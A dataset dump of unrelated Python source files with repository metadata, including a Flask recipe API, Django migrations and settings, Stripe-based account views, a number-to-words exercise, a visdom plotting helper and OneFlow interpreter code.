just decorating with @auth.login_required does not work anymore def __init__(self): self.request_parser = recipe_validator() super(AllRestfulRecipesAPI, self).__init__() def get(self): return json_recipes(all_recipes) def unique_id(self): if not all_recipes: return 1 else: return all_recipes[-1]['unique_id'] + 1 # one more than the largest unique_id, which is # always found in the last recipe def post(self): args = self.request_parser.parse_args() # parses and validates recipe = { 'unique_id': self.unique_id(), 'dish_name': args['dish_name'], 'cuisine': args['cuisine'], 'ingredients': args['ingredients'], 'steps': args['steps'], 'is_vegan': args['is_vegan'] } all_recipes.append(recipe) return json_recipe(recipe), 201 api.add_resource(ItalianRecipes, '/cookbook/v1.0/recipes/italian', endpoint='italian_recipes') api.add_resource(VeganRecipes, '/cookbook/v1.0/recipes/vegan', endpoint='vegan_recipes') api.add_resource(SpecificRecipeAPI, '/cookbook/v1.0/recipes/<int:unique_id>', endpoint='recipe') api.add_resource(AllRestfulRecipesAPI, '/cookbook/v1.0/recipes', endpoint='recipes') if __name__ == '__main__': flask_demo.run()
[ "gregboleslavsky@gmail.com" ]
gregboleslavsky@gmail.com
0a7c0c0a959a4008c1d319a8ee7af16ae421bbe7
2e93c1cfdc30d77aeeb289a6d063503a96b0227e
/blog/migrations/0003_auto_20161030_1304.py
547d57358d37b81b00cf5dd605a1717b853c5935
[]
no_license
shubhpy/DjProject
f2862de04c832bf248b5cdcb6fd5ff4b00666323
da9510227fe9c13c5186cc6ac0e40a602a53561e
refs/heads/master
2021-01-12T16:07:33.858392
2016-10-31T17:09:14
2016-10-31T17:09:14
71,944,343
0
0
null
null
null
null
UTF-8
Python
false
false
1,162
py
# -*- coding: utf-8 -*- # Generated by Django 1.10.2 on 2016-10-30 13:04 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('blog', '0002_employee'), ] operations = [ migrations.CreateModel( name='Student', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('first_name', models.CharField(max_length=50)), ('last_name', models.CharField(max_length=50)), ], ), migrations.CreateModel( name='University', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=50)), ], ), migrations.AddField( model_name='student', name='university', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='blog.University'), ), ]
[ "shubhpycode@gmail.com" ]
shubhpycode@gmail.com
b425e1bec71d4f7296ca73e7de4ff0aff113ea1b
c8d0adb0e306ff1b858d7ba70a5e1f9bc530058b
/backend/Wekker_API/settings/production.py
acae613e06bf8101cc3db9fb3c04636027788a3f
[]
no_license
CirXe0N/Wekker
205ff14702988eaa6646fcb3e532065cb469c34b
328ef409911b2a80ce3de926386c93511c6d1793
refs/heads/master
2021-03-27T08:49:51.140003
2017-03-02T11:39:37
2017-03-02T11:39:37
77,297,044
0
0
null
null
null
null
UTF-8
Python
false
false
943
py
from .base import * DEBUG = False ADMIN_ENABLED = False ALLOWED_HOSTS = ['*'] INSTALLED_APPS += [ 'storages', ] # AWS S3 Bucket settings DEFAULT_FILE_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage' STATICFILES_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage' AWS_ACCESS_KEY_ID = get_env('AWS_ACCESS_KEY_ID') AWS_SECRET_ACCESS_KEY = get_env('AWS_SECRET_ACCESS_KEY') AWS_STORAGE_BUCKET_NAME = get_env('AWS_STORAGE_BUCKET_NAME') AWS_DEFAULT_ACL = 'public-read' AWS_QUERYSTRING_AUTH = False AWS_AUTO_CREATE_BUCKET = True AWS_S3_CUSTOM_DOMAIN = AWS_STORAGE_BUCKET_NAME + '.s3.amazonaws.com' # Static Media settings STATIC_URL = 'https://' + AWS_STORAGE_BUCKET_NAME + '.s3.amazonaws.com/' MEDIA_URL = STATIC_URL + 'media/' STATICFILES_DIRS = (os.path.join(BASE_DIR, 'static'),) STATICFILES_FINDERS = ( 'django.contrib.staticfiles.finders.FileSystemFinder', 'django.contrib.staticfiles.finders.AppDirectoriesFinder', )
[ "dw1ls@outlook.com" ]
dw1ls@outlook.com
c600a8797ffb79802db532d90eb401002c2cdff3
d3b0ca56c6aa8c9976918a87597fa6e8848a8801
/clases/MiembroCp.py
0cac2f97963c05ad9d44e12ce06b596107a2e8b3
[]
no_license
MichelleFernandez/Software
9bba5de319f80f84ed0d30f4fc8b20f5fa9a93b9
7b9649b6ef1a826d85e7ac12e48efc8d385eab83
refs/heads/master
2016-09-15T23:20:48.710293
2013-12-21T05:13:41
2013-12-21T05:13:41
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,988
py
#! /usr/bin/python # ------------------------------------------------------------ # Ingenieria de Software # Tarea 3 # Miembro_CP.py # Clase que representa un Miembro CP. # Autores: Michelle Fernandez, 09-10279. # Donato Rolo, 10-10640. # Carla Barazarte, 08-10096 # Alejandro Garbi, 08-10398 # Jose Figueredo, 10-10245 # Alejandro Guillen, 10-10333 # ------------------------------------------------------------ from Inscrito import * from Conferencia import * class MiembroCp(Inscrito): def __init__(self): Inscrito.__init__(self) self.experticias = [] self.articulos = [] def get_experticias(self): return self.experticias def get_articulos(self): return self.articulos def remover_articulo(self, titulo): articulos = self.get_articulos() x = -1 fin = False while (x < len(articulos)) and not fin: x += 1 fin = (articulos[x] == titulo) self.articulos.remove(articulos[x]) def print_articulos(self): for x in range(len(self.articulos)): print '%s %d %s %s' %("[", x, "]", self.articulos[x]) def agregar_experticia(self, topicos): self.experticias.append(topicos) def print_experticias(self): experticias = self.experticias for x in range(len(experticias)): print '%s%d%s' % ("[", x, "] " + str(experticias[x])) def gestionar_empatados(self, conf): print print("GESTION DE ARTICULOS EMPATADOS") print("------------------------------") print cupos_ocupados = len(conf.get_aceptados()) cupos_restantes = conf.get_max_articulos() - cupos_ocupados empatados = conf.get_empatados() aceptados = conf.get_aceptados() rechazados = conf.get_rechazados() # Seleccion de los articulos aceptados de entre los empatados. while (cupos_restantes > 0): #print_articulos(conf.empatados) print '%d %s' % (cupos_restantes, " cupo(s) restante(s).") fin = False while not fin: ans = raw_input(">> ") if ans.isdigit(): ans = int(ans) fin = (ans < len(empatados) and (ans >= 0)) articulo = empatados[ans] articulo.set_estado_final(1) aceptados.append(articulo) # Eliminar articulo de la lista de empatados. del empatados[ans] cupos_restantes -= 1 # El resto de los articulos que quedan en la lista de empatados se marcan # como rechazados por falta de cupo y se colocan en la lista de rechazados for x in range(len(empatados)): empatado = empatados[x] empatado.set_estado_final(3) rechazados.append(empatado) # Se vacia la lista de empatados del empatados[:] # Calculadas las listas, se actualizan las listas de la conferencia. conf.set_aceptados(aceptados) conf.set_empatados(empatados) conf.set_rechazados(rechazados)
[ "micafe.go@gmail.com" ]
micafe.go@gmail.com
1b72274245ff18b5551db7c3c249ebc482c5838a
1bdbcc3954ed75574eea1af5bf49f03cce4af198
/class_work_problems/num_to_letter.py
815b33cda3e3d34cf20083c0ba916bd11eead0bc
[]
no_license
skreynolds/uta_cse_1309x
d73bbadb012147e6196e2320d4d635bee81d28f4
40c1221fdcc192fe66c7e60c636b08a8cfbebb2d
refs/heads/master
2020-12-22T20:19:31.977554
2020-01-29T06:50:24
2020-01-29T06:50:24
236,921,284
0
0
null
null
null
null
UTF-8
Python
false
false
1,664
py
# Type your code here n=int(input('please enter an integer between 1 and 9999: ')) units = ['','one','two','three','four','five','six','seven','eight','nine'] teens = ['','eleven','twelve','thirteen','fourteen','fifteen','sixteen', 'seventeen','eighteen','nineteen'] tens = ['','ten','twenty','thirty','forty','fifty','sixty','seventy', 'eighty','ninety'] num_list = [] nums = 0 for i in range(len(str(n))): num_list.append(n%10) n = n//10 nums += 1 num_list.reverse() #print(num_list) i = 5 - nums for iteration in range(nums): e = num_list[iteration] if i == 1: if num_list[iteration + 1] == 0 and num_list[iteration + 2] == 0 and num_list[iteration + 3] == 0: print(units[e], end = " ") print("thousand", end = "") else: print(units[e], end = " ") print("thousand", end = " ") elif i == 2: if e != 0: if num_list[iteration + 1] == 0 and num_list[iteration + 2] == 0: print(units[e], end = " ") print("hundred", end = "") else: print(units[e], end = " ") print("hundred", end = " ") elif i == 3: if e > 1: if num_list[iteration + 1] == 0: print(tens[e], end = "") else: print(tens[e], end = " ") elif e == 1: if num_list[iteration + 1] != 0: print(teens[num_list[iteration + 1]]) break elif num_list[iteration + 1] == 0: print(tens[1]) break else: print(units[e]) # Incement counter i += 1
[ "shane.k.reynolds@gmail.com" ]
shane.k.reynolds@gmail.com
167ad65029dceab8baa37d92c7b02fbc7f7bdf9c
25d898bc3a75572054e0290d4baa31d27d867b3d
/invoice/migrations/0006_invoice_is_cancelled.py
d3417675ce75feb377e5e6840e1eeda70e3ed5d8
[]
no_license
kyomoeliezer/mtelemko
cb989502f385b9c5744f75076d50945930ed78fa
7b299df79a4f495afbe011b6571dae83b4f8f845
refs/heads/master
2023-06-12T11:21:43.594176
2023-05-25T22:03:12
2023-05-25T22:03:12
142,018,745
0
0
null
null
null
null
UTF-8
Python
false
false
400
py
# Generated by Django 2.2 on 2020-11-20 09:10 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('invoice', '0005_invoice_invoice_start_date'), ] operations = [ migrations.AddField( model_name='invoice', name='is_cancelled', field=models.BooleanField(default=False), ), ]
[ "kyomoeliezer" ]
kyomoeliezer
2f71d7a5fe7eae2229bf5f1af66d76a5f5e0f205
1a091b6222012fd0a1cfcb3ae68334e2c17b1d79
/last_try/visualizer.py
f3f25d49a7deb8b5218e6f02c2bf70c507eb876e
[]
no_license
shubhMaheshwari/Image_Tampering
a9ff0ccda686ffda720fbbddd95b496d141aede0
4fccc8ce900c58092f6bd464dfe18286b0153e4d
refs/heads/master
2021-08-07T09:52:30.763632
2020-04-14T12:31:24
2020-04-14T12:31:24
151,753,142
4
0
null
null
null
null
UTF-8
Python
false
false
2,270
py
import numpy as np import os import time import visdom import cv2 class Visualizer(): def __init__(self, opt): self.opt = opt self.vis = visdom.Visdom() self.vis = visdom.Visdom(server=opt.display_server, port=opt.display_port) # Loss self.loss_list = [] self.loss_sample_list = [] self.loss_target_list = [] self.loss_mmd_list = [] # Accuracy self.target_acc_list = [] self.train_target_acc_list = [] self.sample_acc_list = [] self.train_sample_acc_list = [] def append_metrics(self,loss, loss_sample, loss_target, loss_mmd,target_acc, sample_acc): # Upate the loss list and plot it self.loss_list.append(loss.cpu().data.numpy()) self.loss_sample_list.append(loss_sample.cpu().data.numpy()) self.loss_target_list.append(loss_target.cpu().data.numpy()) self.loss_mmd_list.append(loss_mmd.cpu().data.numpy()) self.train_target_acc_list.append(target_acc) self.train_sample_acc_list.append(sample_acc) # errors: dictionary of error labels and values def plot_graph(self,X,Y,labels,display_id,title,axis=['x','y']): Y = np.array(Y).T if X == None: X = np.arange(0,Y.shape[0]) self.vis.line( X=X, Y=Y, win = display_id, opts={ 'title': title, 'legend': labels, 'xlabel': axis[0], 'ylabel': axis[1]} ) return def plot_loss(self): self.plot_graph(None,[self.loss_list,self.loss_sample_list,self.loss_target_list,self.loss_mmd_list],["Loss","Sample Loss", "Target Loss", "Mmd Loss"] ,display_id=1,title=' loss over time',axis=['Epoch','Loss']) def plot_acc(self): self.plot_graph(None,[self.train_target_acc_list,self.train_sample_acc_list],["Train Target ACC","Train Sample ACC"] ,display_id=4,title='Training Accuracy',axis=['Epoch','Acc']) def show_image(self,img,y_pred,y,display_id,title): self.vis.image( img, win=display_id, opts={ 'caption': "Y:{} Y_pred:{}".format(y,y_pred), 'title': title })
[ "maheshwarishubh98@gmail.com" ]
maheshwarishubh98@gmail.com
76e82c15daa30b0a37073c20c9abe4c4c7c2b4dd
9023909d2776e708755f98d5485c4cffb3a56000
/oneflow/compatible_single_client_python/eager/interpreter_callback.py
4295829ee25c69fc8856e2d0462ad1e2a31c31cd
[ "Apache-2.0" ]
permissive
sailfish009/oneflow
f6cf95afe67e284d9f79f1a941e7251dfc58b0f7
4780aae50ab389472bd0b76c4333e7e0a1a56ef7
refs/heads/master
2023-06-24T02:06:40.957297
2021-07-26T09:35:29
2021-07-26T09:35:29
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,285
py
""" Copyright 2020 The OneFlow Authors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from __future__ import absolute_import from oneflow.compatible.single_client.python.eager import gradient_util as gradient_util from oneflow.compatible.single_client.python.eager import op_executor as op_executor from oneflow.compatible.single_client.core.operator import ( op_attribute_pb2 as op_attribute_pb, ) from oneflow.compatible.single_client.core.job import scope_pb2 as scope_pb from oneflow.compatible.single_client.core.job import placement_pb2 as placement_pb from google.protobuf import text_format from oneflow.compatible.single_client.python.framework import scope_util as scope_util from oneflow.compatible.single_client.python.eager import ( symbol_storage as symbol_storage, ) import oneflow._oneflow_internal def MakeScopeSymbol(job_conf, parallel_conf, is_mirrored): parallel_hierarchy = None if parallel_conf.has_hierarchy(): parallel_hierarchy = oneflow._oneflow_internal.Size( tuple(parallel_conf.hierarchy().dim()) ) return scope_util.MakeInitialScope( job_conf, parallel_conf.device_tag(), list(parallel_conf.device_name()), parallel_hierarchy, is_mirrored, ).symbol_id def MakeParallelDescSymbol(parallel_conf): symbol_id = None def BuildInstruction(builder): nonlocal symbol_id symbol_id = builder.GetParallelDescSymbol(parallel_conf).symbol_id oneflow._oneflow_internal.deprecated.LogicalRun(BuildInstruction) return symbol_id def MirroredCast(op_attribute_str, parallel_conf): op_attribute = text_format.Parse(op_attribute_str, op_attribute_pb.OpAttribute()) blob_register = oneflow._oneflow_internal.GetDefaultBlobRegister() is_cast_to_mirrored = op_attribute.op_conf.HasField("cast_to_mirrored_conf") is_cast_from_mirrored = op_attribute.op_conf.HasField("cast_from_mirrored_conf") assert is_cast_to_mirrored or is_cast_from_mirrored _MirroredCastAndAddOutputBlobReleaser(op_attribute, blob_register) bw_blob_register = gradient_util.GetDefaultBackwardBlobRegister() gradient_util.TrySetBackwardUsedBlobObject( op_attribute, blob_register, bw_blob_register ) def InterpretCompletedOp(op_attribute_str, parallel_conf): op_attribute = text_format.Parse(op_attribute_str, op_attribute_pb.OpAttribute()) blob_register = gradient_util.GetDefaultBackwardBlobRegister() _InterpretCompletedOp(op_attribute, parallel_conf, blob_register) gradient_util.ReleaseUnusedBlobObject(op_attribute, blob_register) def _InterpretCompletedOp(op_attribute, parallel_conf, blob_register): return op_executor.Interpret(op_attribute, parallel_conf, blob_register) def _MirroredCastAndAddOutputBlobReleaser(op_attribute, blob_register): op_executor.MirroredCast(op_attribute, blob_register) _AddOutputBlobObjectReleaser4InputBlobObject(op_attribute, blob_register) def _AddOutputBlobObjectReleaser4InputBlobObject(op_attribute, blob_register): in_lbi = op_attribute.arg_signature.bn_in_op2lbi["in"] in_lbn = "%s/%s" % (in_lbi.op_name, in_lbi.blob_name) in_blob_object = blob_register.GetObject4BlobName(in_lbn) release = _MakeReleaser4MirroredCastBlobObject(op_attribute, blob_register) in_blob_object.add_releaser(release) def _MakeReleaser4MirroredCastBlobObject(op_attribute, blob_register): def ReleaseMirroredBlobObject(obj): for obn in op_attribute.output_bns: lbi = op_attribute.arg_signature.bn_in_op2lbi[obn] lbn = "%s/%s" % (lbi.op_name, lbi.blob_name) blob_object = blob_register.GetObject4BlobName(lbn) blob_register.ClearObject4BlobName(lbn) return ReleaseMirroredBlobObject
[ "noreply@github.com" ]
noreply@github.com
f4d39011134f503659ec40b2af2034a888a04fd1
413d0b90efcc875ebac3875e1b4749b3c6018329
/accounts/views.py
eb6dcc2c75bf2b8cb13ceac5a0508a57afd0a8ee
[]
no_license
Hythlodaeus/WeAreSocialNoMore
231498aeb56a6bb9688626b5d4ac919ab56552a8
265a86ccd395a7d4cb799364938e5f6705d4d0fc
refs/heads/master
2021-01-21T09:46:59.195722
2015-12-15T12:32:25
2015-12-15T12:32:25
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,325
py
from django.contrib import messages, auth from django.contrib.auth.decorators import login_required from django.core.urlresolvers import reverse from django.shortcuts import render, redirect from django.template.context_processors import csrf from django.views.decorators.csrf import csrf_exempt from accounts.forms import UserRegistrationForm, UserLoginForm from django.conf import settings import stripe import datetime import arrow import json from django.http import HttpResponse from models import User stripe.api_key = settings.STRIPE_SECRET def register(request): if request.method == 'POST': form = UserRegistrationForm(request.POST) if form.is_valid(): try: customer = stripe.Customer.create( email=form.cleaned_data['email'], card=form.cleaned_data['stripe_id'], plan='REG_MONTHLY' ) except stripe.error.CardError, e: messages.error(request, "Your card was declined!") if customer: user = form.save() user.stripe_id = customer.id user.subscription_end = arrow.now().replace(weeks=+4).datetime user.save() user = auth.authenticate(email=request.POST.get('email'), password=request.POST.get('password1')) if user: auth.login(request, user) messages.success(request, "You have successfully registered") return redirect(reverse('profile')) else: messages.error(request, "unable to log you in at this time!") else: messages.error(request, "We were unable to take a payment with that card!") else: today = datetime.date.today() form = UserRegistrationForm(initial={'expiry_month': today.month, 'expiry_year': today.year}) args = {'form': form, 'publishable': settings.STRIPE_PUBLISHABLE} args.update(csrf(request)) return render(request, 'register.html', args) def login(request, success_url=None): if request.method == 'POST': form = UserLoginForm(request.POST) if form.is_valid(): user = auth.authenticate(email=request.POST.get('email'), password=request.POST.get('password')) if user is not None: auth.login(request, user) messages.error(request, "You have successfully logged in") return redirect(reverse('profile')) else: subscription_not_ended = arrow.now = arrow.now() < arrow.get(user.subscription_end) if not subscription_not_ended: form.add_error(None, "Your subscription has ended!") form.add_error(None, "Your email or password was not recognised") else: form = UserLoginForm() args = {'form': form} args.update(csrf(request)) return render(request, 'login.html', args) @login_required(login_url='/accounts/login/') def profile(request): subscription_days = arrow.get(request.user.subscription_end).humanize() args = {'subscription_days': subscription_days} return render(request, 'profile.html', args) def logout(request): auth.logout(request) messages.success(request, 'You have successfully logged out') return render(request, 'index.html') def cancel_subscription(request): try: customer = stripe.Customer.retrieve(request.user.stripe_id) customer.cancel_subscription(at_period_end=True) except Exception, e: messages.error(request, e) return redirect('profile') @csrf_exempt def subscriptions_webhook(request): event_json = json.loads(request.body) try: event = stripe.Event.retrieve(event_json["id"]) print event_json user = User.objects.get(stripe_id=event_json["data"]["object"]["customer"]) if user and event_json['type'] == "invoice.payment_succeeded": user.subscription_end = arrow.now().replace(weeks=+4).datetime user.save() except stripe.InvalidRequestError, e: return HttpResponse(status=404) return HttpResponse(status=200)
[ "tangneyjohn@gmail.com" ]
tangneyjohn@gmail.com
75a6d5e4fa9d09bca96df632809baf921651227a
9743d5fd24822f79c156ad112229e25adb9ed6f6
/xai/brain/wordbase/verbs/_arousing.py
40991d3cd0e5d6d4556cec52531935097102e368
[ "MIT" ]
permissive
cash2one/xai
de7adad1758f50dd6786bf0111e71a903f039b64
e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6
refs/heads/master
2021-01-19T12:33:54.964379
2017-01-28T02:00:50
2017-01-28T02:00:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
240
py
from xai.brain.wordbase.verbs._arouse import _AROUSE #calss header class _AROUSING(_AROUSE, ): def __init__(self,): _AROUSE.__init__(self) self.name = "AROUSING" self.specie = 'verbs' self.basic = "arouse" self.jsondata = {}
[ "xingwang1991@gmail.com" ]
xingwang1991@gmail.com
d62a68b191ae65ecc775ca8247553999fe66a077
4d207973b555327563291377bcae629d13b82999
/Official/main.py
210985db369327062fe28a0be26a0f7e36ce5d8f
[]
no_license
yijaein/cnn_classification
f482366b680c645313634183be0b7b26f7e1d49e
98bd10c7029539a9e09325c20d0b828fffdd0861
refs/heads/master
2020-04-25T03:08:26.222400
2019-06-18T00:21:31
2019-06-18T00:21:31
172,465,408
0
0
null
null
null
null
UTF-8
Python
false
false
11,014
py
import argparse import random import time import warnings import torch.backends.cudnn as cudnn import torch.nn as nn import torchvision.datasets as datasets import torchvision.transforms as transforms from PIL import Image from Official.densenet import DenseNet from Official.utils import * parser = argparse.ArgumentParser(description='PyTorch ImageNet Training') parser.add_argument('--data', default='/media/bong6/602b5e26-f5c0-421c-b8a5-08c89cd4d4e6/data/yonsei2/dataset/US_kidney_original_one', help='path to dataset') parser.add_argument('--workers', default=8, type=int, help='number of data loading workers') parser.add_argument('--epochs', default=200, type=int, help='number of total epochs to run') parser.add_argument('--start_epoch', default=0, type=int, help='manual epoch number') parser.add_argument('--batch_size', default=64, type=int, help='mini-batch size') parser.add_argument('--lr', default=0.0001, type=float, help='initial learning rate') parser.add_argument('--epoch_decay', default=40, type=int, help='learning rate decayed by 10 every N epochs') parser.add_argument('--weight_decay', default=0, type=float, help='weight decay') parser.add_argument('--print_freq', default=10, type=int, help='print frequency') parser.add_argument('--resume', default='', type=str, help='path to latest checkpoint') parser.add_argument('--evaluate', default=False, action='store_true', help='evaluate model on validation set') parser.add_argument('--seed', default=None, type=int, help='seed for initializing training') parser.add_argument('--result', default='../result', help='path to result') parser.add_argument('--resize_image_width', default=256, type=int, help='image width') parser.add_argument('--resize_image_height', default=256, type=int, help='image height') parser.add_argument('--image_width', default=224, type=int, help='image crop width') parser.add_argument('--image_height', default=224, type=int, help='image crop height') parser.add_argument('--avg_pooling_width', default=7, type=int, help='average pooling width') parser.add_argument('--avg_pooling_height', default=7, type=int, help='average pooling height') parser.add_argument('--channels', default=3, type=int, help='select scale type rgb or gray') parser.add_argument('--num_classes', default=256, type=int, help='number of classes') args = parser.parse_args() best_prec1 = 0 def train_model(train_loader, model, criterion, optimizer, epoch, print_freq): batch_time = AverageMeter() data_time = AverageMeter() losses = AverageMeter() top1 = AverageMeter() # switch to train mode model.train() end = time.time() for i, (input, target) in enumerate(train_loader): # measure data loading time data_time.update(time.time() - end) target = target.cuda(non_blocking=True) # compute output output = model(input) loss = criterion(output, target) # measure accuracy and record loss prec1 = accuracy(output, target, topk=(1,)) losses.update(loss.item(), input.size(0)) top1.update(prec1[0].cpu().data.numpy()[0], input.size(0)) # compute gradient and do SGD step optimizer.zero_grad() loss.backward() optimizer.step() # measure elapsed time batch_time.update(time.time() - end) end = time.time() if i % print_freq == 0: print('Epoch: [{0}][{1}/{2}]\t' 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\t' 'Data {data_time.val:.3f} ({data_time.avg:.3f})\t' 'Loss {loss.val:.4f} ({loss.avg:.4f})\t' 'Prec@1 {top1.val:.3f} ({top1.avg:.3f})'.format(epoch, i, len(train_loader), batch_time=batch_time, data_time=data_time, loss=losses, top1=top1)) def validate_model(val_loader, model, criterion, epoch, print_freq): batch_time = AverageMeter() losses = AverageMeter() top1 = AverageMeter() # switch to evaluate mode model.eval() with torch.no_grad(): end = time.time() for i, (input, target) in enumerate(val_loader): target = target.cuda(non_blocking=True) # compute output output = model(input) loss = criterion(output, target) # measure accuracy and record loss prec1 = accuracy(output, target, topk=(1,)) losses.update(loss.item(), input.size(0)) top1.update(prec1[0].cpu().data.numpy()[0], input.size(0)) # measure elapsed time batch_time.update(time.time() - end) end = time.time() if i % print_freq == 0: print('Test: [{0}/{1}]\t' 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\t' 'Loss {loss.val:.4f} ({loss.avg:.4f})\t' 'Prec@1 {top1.val:.3f} ({top1.avg:.3f})'.format(i, len(val_loader), batch_time=batch_time, loss=losses, top1=top1)) print(' * Prec@1 {top1.avg:.3f} at Epoch {epoch:0}'.format(top1=top1, epoch=epoch)) return top1.avg def main(args, model, train_image_loader, valid_image_loader, normalize, optimizer, train_dataset=datasets.ImageFolder, valid_dataset=datasets.ImageFolder, train_model=train_model, validate_model=validate_model, train_transforms=None, val_transforms=None): global best_prec1 # save arguments save_args(args) if args.seed is not None: random.seed(args.seed) torch.manual_seed(args.seed) cudnn.deterministic = True warnings.warn('You have chosen to seed training. ' 'This will turn on the CUDNN deterministic setting, ' 'which can slow down your training considerably! ' 'You may see unexpected behavior when restarting ' 'from checkpoints.') # parallel model model = torch.nn.DataParallel(model).cuda() # define loss function (criterion) criterion = nn.CrossEntropyLoss().cuda() # optionally resume from a checkpoint if args.resume: if os.path.isfile(args.resume): print("=> loading checkpoint '{}'".format(args.resume)) checkpoint = torch.load(args.resume) args.start_epoch = checkpoint['epoch'] best_prec1 = checkpoint['best_prec1'] model.load_state_dict(checkpoint['state_dict']) optimizer.load_state_dict(checkpoint['optimizer']) print("=> loaded checkpoint '{}' (epoch {})".format(args.resume, checkpoint['epoch'])) else: print("=> no checkpoint found at '{}'".format(args.resume)) cudnn.benchmark = True # Data loading code args.data = os.path.expanduser(args.data) traindir = os.path.join(args.data, 'train') valdir = os.path.join(args.data, 'val') # set transformation train_transforms = transforms.Compose([transforms.RandomCrop((args.image_height, args.image_width)), transforms.RandomHorizontalFlip(), transforms.ToTensor(), normalize, ]) if train_transforms is None else train_transforms val_transforms = transforms.Compose([transforms.CenterCrop((args.image_height, args.image_width)), transforms.ToTensor(), normalize, ]) if val_transforms is None else val_transforms if not args.evaluate: train_loader = torch.utils.data.DataLoader(train_dataset(traindir, transform=train_transforms, loader=train_image_loader), batch_size=args.batch_size, shuffle=True, num_workers=args.workers, pin_memory=True) val_loader = torch.utils.data.DataLoader(valid_dataset(valdir, transform=val_transforms, loader=valid_image_loader), batch_size=args.batch_size, shuffle=False, num_workers=args.workers, pin_memory=True) if args.evaluate: validate_model(val_loader, model, criterion, 0, args.print_freq) return for epoch in range(args.start_epoch, args.epochs): adjust_learning_rate(args.lr, optimizer, epoch, args.epoch_decay) # train for one epoch train_model(train_loader, model, criterion, optimizer, epoch, args.print_freq) # evaluate on validation set prec1 = validate_model(val_loader, model, criterion, epoch, args.print_freq) # remember best prec@1 and save checkpoint is_best = prec1 > best_prec1 best_prec1 = max(prec1, best_prec1) save_checkpoint({ 'epoch': epoch + 1, 'state_dict': model.state_dict(), 'best_prec1': best_prec1, 'optimizer': optimizer.state_dict(), }, is_best, args.result) save_accuracy(epoch + 1, prec1, args.result) def pil_loader(path): with open(path, 'rb') as f: with Image.open(f) as img: img = img.convert('RGB') if args.channels == 3 else img.convert('L') img = img.resize((args.resize_image_width, args.resize_image_height)) return img if __name__ == '__main__': if args.channels == 3: normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) elif args.channels == 1: normalize = transforms.Normalize(mean=[0.5], std=[0.5]) # create model avg_pool_size = (args.avg_pooling_height, args.avg_pooling_width) model = DenseNet(num_init_features=64, growth_rate=32, block_config=(6, 12, 24, 16), num_classes=args.num_classes, channels=args.channels, avg_pooling_size=avg_pool_size) # create optimizer optimizer = torch.optim.Adam(model.parameters(), lr=args.lr, weight_decay=args.weight_decay) # start main loop main(args, model, pil_loader, pil_loader, normalize, optimizer)
[ "jiyi.nexys@gmail.com" ]
jiyi.nexys@gmail.com
57bfcec31889ced05861f4bd4a159df7e448a82b
2fe37b71c486d4e2de6fb263d89993c9b99f0d37
/02Backstage/Python/00Test/Basic/ObjectMore.py
809bf5681426a69d65a912b13c9f37d2167f1f09
[]
no_license
smart-town/MyNotes
87cb058753163ab7df41f73389af4e31f8288a52
87a0e689c1dcf9a79ef1059e6332c1a89a309ecc
refs/heads/master
2022-07-19T19:48:15.055165
2022-07-17T00:15:09
2022-07-17T00:15:09
160,528,670
0
0
null
null
null
null
UTF-8
Python
false
false
705
py
class Person(object): def __init__(self,name,age): self._name = name self._age = age @property def name(self): return self._name @property def age(self): print("You will get age ") return self._age @age.setter def age(self,age): print("You have set age %s" % age) self._age =age def play(self): if self._age <= 16: print(f"Play fly {self._name}") else: print(f"Play Cards {self._name}") def main(): print("test About @property & @property.setter") person = Person('HHG',15) person.play() person.age = 22 person.play() print(person.age) main()
[ "1213408659@qq.com" ]
1213408659@qq.com
aff4479d37dc208ca6b04405e12454ff3bc5832c
52467ce7f31661965a6d4267b0a8183bc3245752
/Rectangle.py
efd7b487d14bf969a36cf736672cc1c30930ae2d
[]
no_license
samuelmckean/GeoObject-Inheritance
b1f4546d5ab8cbe7c7e01dd54e715c3c5061285d
1591182a2f69b504fd68725d4d8625a227ee2d67
refs/heads/master
2020-04-07T06:30:39.968347
2018-03-07T06:33:52
2018-03-07T06:33:52
124,189,213
0
0
null
2018-03-07T06:33:53
2018-03-07T06:21:17
Python
UTF-8
Python
false
false
815
py
# import all data fields and methods from superclass from GeometricObject import GeometricObject class Rectangle(GeometricObject): def __init__(self, width=1, height=1): super().__init__() self.__width = width self.__height = height def __str__(self): return super().__str__() + " width: " + str(self.__width) \ + " height: " + str(self.__height) def getWidth(self): return self.__width def setWidth(self, width): self.__width = width def getHeight(self): return self.__height def setHeight(self, height): self.__height = height def getArea(self): return self.__width * self.__height def getPerimeter(self): return 2 * (self.__width + self.__height)
[ "noreply@github.com" ]
noreply@github.com
4dd4ef0331f98f983cbcd659ff8e1be4bc3723c5
f382030d3e054490c46da8e6a2a86c3f13149cfb
/Test/Profile/views.py
9cc36837f5b8a7537160d20e7a7b36544613373c
[]
no_license
Astily/TestTask_Django
048c2c4c48daacfbf93f39ce74b57833e3538ba2
ccaf2d6703b7a6a86afe7169c12ad1f62e0b8fbd
refs/heads/master
2020-04-03T17:13:23.593912
2018-10-31T14:54:34
2018-10-31T14:54:34
155,435,455
0
0
null
null
null
null
UTF-8
Python
false
false
1,492
py
